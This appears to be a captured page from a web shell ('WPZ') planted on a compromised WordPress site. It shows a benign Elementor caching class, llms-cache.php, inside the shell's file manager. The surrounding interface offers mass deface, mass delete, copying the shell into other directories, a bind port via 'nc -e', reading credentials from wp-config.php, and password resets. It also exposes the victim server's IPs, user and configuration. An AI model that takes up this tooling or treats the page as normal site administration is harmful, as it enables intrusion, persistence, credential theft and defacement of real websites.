WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / elementor / modules / agents / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/modules/agents/llms-cache.php (2.91 KB)
<?php

namespace Elementor\Modules\Agents;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Transient-based cache for the generated llms.txt and llms-full.txt content.
 *
 * Cache entries are automatically invalidated whenever any post is
 * saved/published/trashed, or when site options that affect the output change.
 * A manual regenerate action also clears both entries.
 */
class Llms_Cache {

	const TRANSIENT_LLMS      = 'elementor_agents_llms_txt';
	const TRANSIENT_LLMS_FULL = 'elementor_agents_llms_full_txt';
	const TRANSIENT_MODIFIED  = 'elementor_agents_llms_modified';

	/** Default TTL: 1 hour (3600 s). Long enough to be useful, short enough to self-heal. */
	const DEFAULT_TTL = 3600;

	/**
	 * Retrieve cached llms.txt content.
	 *
	 * @return string|false Cached string, or false on cache miss.
	 */
	public function get_llms() {
		return get_transient( self::TRANSIENT_LLMS );
	}

	/**
	 * Retrieve cached llms-full.txt content.
	 *
	 * @return string|false Cached string, or false on cache miss.
	 */
	public function get_llms_full() {
		return get_transient( self::TRANSIENT_LLMS_FULL );
	}

	/**
	 * Store generated llms.txt content in the cache.
	 *
	 * @param string $content Generated content.
	 */
	public function set_llms( string $content ): void {
		$ttl = $this->get_ttl();

		if ( 0 === $ttl ) {
			delete_transient( self::TRANSIENT_LLMS );
			return;
		}

		set_transient( self::TRANSIENT_LLMS, $content, $ttl );
		$this->touch_modified_time();
	}

	/**
	 * Store generated llms-full.txt content in the cache.
	 *
	 * @param string $content Generated content.
	 */
	public function set_llms_full( string $content ): void {
		$ttl = $this->get_ttl();

		if ( 0 === $ttl ) {
			delete_transient( self::TRANSIENT_LLMS_FULL );
			return;
		}

		set_transient( self::TRANSIENT_LLMS_FULL, $content, $ttl );
		$this->touch_modified_time();
	}

	/**
	 * Return the Unix timestamp of the last cache write (used for Last-Modified headers).
	 *
	 * @return int Timestamp, or 0 if the cache has never been populated.
	 */
	public function get_modified_time(): int {
		$value = get_transient( self::TRANSIENT_MODIFIED );
		return is_numeric( $value ) ? (int) $value : 0;
	}

	/**
	 * Invalidate both cache entries.
	 *
	 * Called on post save/publish/trash and on manual regenerate.
	 */
	public function invalidate(): void {
		delete_transient( self::TRANSIENT_LLMS );
		delete_transient( self::TRANSIENT_LLMS_FULL );
		delete_transient( self::TRANSIENT_MODIFIED );
	}

	/**
	 * TTL in seconds, filterable.
	 */
	private function get_ttl(): int {
		/**
		 * Filters how long the generated llms files are cached in the database.
		 *
		 * @param int $ttl Cache lifetime in seconds. Default: HOUR_IN_SECONDS.
		 */
		$ttl = (int) apply_filters( 'elementor/agents/llms_txt/cache_ttl', self::DEFAULT_TTL );
		return max( 0, $ttl );
	}

	private function touch_modified_time(): void {
		set_transient( self::TRANSIENT_MODIFIED, time(), $this->get_ttl() );
	}
}
namawaktuukuranownerpermaksi
..
admin-menu-items/ 2026-11-25 08:103.02 KB 76129f60960:kundendxwrx-rx-r
admin-notices/ 2026-11-25 08:101.89 KB 76129f60960:kundendxwrx-rx-r
classes/ 2026-11-25 08:1051.6 KB 76129f60960:kundendxwrx-rx-r
components/ 2026-11-25 08:10154.54 KB 76129f60960:kundendxwrx-rx-r
agent-ready-settings.php 2026-11-25 08:1012.17 KB 76129f60960:kunden-xw-x--x--
edt
bot-catalog.php 2026-11-25 08:103.79 KB 76129f60960:kunden-xw-x--x--
edt
content-generator.php 2026-11-25 08:1024.46 KB 76129f60960:kunden-xw-x--x--
edt
llms-cache.php 2026-11-25 08:102.91 KB 76129f60960:kunden-xw-x--x--
edt
llms-manual-content.php 2026-11-25 08:101.87 KB 76129f60960:kunden-xw-x--x--
edt
markdown-manual-content.php 2026-11-25 08:101.95 KB 76129f60960:kunden-xw-x--x--
edt
module.php 2026-11-25 08:1045.95 KB 76129f60960:kunden-xw-x--x--
edt
prompt-injection-sanitizer.php 2026-11-25 08:103.79 KB 76129f60960:kunden-xw-x--x--
edt
robots-txt-handler.php 2026-11-25 08:104.79 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/modules/agents
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK